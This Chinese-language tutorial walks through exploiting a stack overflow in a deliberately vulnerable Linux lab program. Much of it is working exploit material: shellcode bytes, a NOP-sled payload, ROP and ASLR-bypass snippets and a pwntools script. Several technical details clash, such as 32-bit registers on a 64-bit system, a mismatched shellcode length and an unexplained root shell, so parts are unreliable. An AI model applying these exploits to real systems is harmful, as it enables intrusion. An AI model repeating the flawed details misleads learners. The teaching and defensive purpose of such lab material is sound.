Linux二进制漏洞利用开发任务的示例分析

发布时间：2022-01-11 11:44:44 作者：柒染
来源：亿速云阅读：177

# Linux二进制漏洞利用开发任务的示例分析

## 引言

二进制漏洞利用开发是信息安全领域中的高级技能，涉及对程序内存布局、CPU指令集和操作系统机制的深入理解。本文将以Linux环境为例，通过一个具体的漏洞利用开发任务，详细分析从漏洞发现到最终利用的全过程。

---

## 一、漏洞环境搭建

### 1.1 实验环境配置
```bash
# 系统环境
$ uname -a
Linux vulnlab 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

# 关闭地址随机化（ASLR）
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# 编译选项示例（禁用栈保护）
$ gcc -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

1.2 目标程序分析

示例漏洞代码（vuln.c）：

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    gets(buffer); // 明显的栈溢出漏洞
    printf("Input: %s\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}

二、漏洞识别与验证

2.1 基础测试

$ python3 -c 'print("A"*100)' | ./vuln
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

2.2 使用GDB确认崩溃点

(gdb) r < <(python3 -c 'print("A"*80)')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip            0x41414141          0x41414141

确认EIP被覆盖为0x41414141（”AAAA”）

三、漏洞利用开发

3.1 计算偏移量

使用pattern_create/pattern_offset：

$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

(gdb) r < <(python3 -c 'print("Aa0Aa1...d2A")')
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()  # 崩溃时EIP值

$ msf-pattern_offset -q 0x63413563
[*] Exact match at offset 76

3.2 控制执行流

构造测试payload：

payload = b"A"*76 + b"B"*4
with open("payload", "wb") as f:
    f.write(payload)

验证EIP是否被覆盖为0x42424242（”BBBB”）

四、Shellcode开发

4.1 选择shellcode类型

考虑使用execve(“/bin/sh”)的shellcode（21字节）：

xor eax, eax
push eax
push 0x68732f2f   ; "hs//"
push 0x6e69622f   ; "nib/"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

4.2 获取机器码

使用nasm编译：

$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o

得到机器码： \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

五、完整利用开发

5.1 确定内存地址

通过GDB查找buffer地址：

(gdb) disas vulnerable_function
Dump of assembler code for function vulnerable_function:
   0x0804846b <+0>:     push   %ebp
   0x0804846c <+1>:     mov    %esp,%ebp
   0x0804846e <+3>:     sub    $0x48,%esp   ; 72字节栈空间
...
(gdb) x/wx $ebp-0x50
0xffffd6b8:     0x41414141

5.2 构造最终payload

import struct

buf_addr = 0xffffd6b8
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)

payload = b"A"*76
payload += struct.pack("<I", buf_addr + 80)  # 跳转到nop雪橇
payload += b"\x90"*100                      # nop雪橇
payload += shellcode

with open("exploit", "wb") as f:
    f.write(payload)

5.3 测试利用

$ (cat exploit; cat) | ./vuln
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����...
whoami
root

六、防护绕过技术

6.1 对抗NX保护

使用ROP技术：

# 示例：使用libc中的system函数
rop = [
    0x08048320,  # pop ebx; ret
    0x0804a008,  # "/bin/sh"地址
    0xdeadbeef,  # 填充
    0xf7e4c850   # system地址
]

6.2 对抗ASLR

通过信息泄露获取libc基址：

# 利用格式化字符串漏洞泄露地址
payload = b"%3$p"
send(payload)
libc_start_main = int(recv(), 16) - 0x18637
system_addr = libc_start_main + 0x3d200

七、自动化工具辅助

7.1 使用pwntools

from pwn import *

context(arch='i386', os='linux')
p = process('./vuln')

offset = 76
shellcode = asm(shellcraft.sh())
payload = flat({
    offset: p32(0xffffd6b8),
}, filler='A')

p.sendline(payload)
p.interactive()

7.2 使用ROPgadget

$ ROPgadget --binary vuln --ropchain

八、总结与防御建议

8.1 漏洞利用关键点

精确控制EIP覆盖
可靠的内存地址预测
有效的shellcode设计

8.2 防御措施

// 安全编码实践
void safe_function() {
    char buffer[64];
    fgets(buffer, sizeof(buffer), stdin); // 替代gets
    printf("Input: %s\n", buffer);
}

编译时防护选项：

$ gcc -fstack-protector-strong -pie -fPIE -D_FORTIFY_SOURCE=2 -O2 vuln.c -o vuln_secure

参考文献

《Hacking: The Art of Exploitation》- Jon Erickson
《Advanced Linux Exploitation》- S4 Institute
ROP Emporium (https://ropemporium.com/)
OSDev Wiki (https://wiki.osdev.org/)

”`

注：本文示例在Ubuntu 20.04 LTS (x86)环境下测试通过，实际利用需根据目标环境调整。所有技术仅限合法授权测试使用。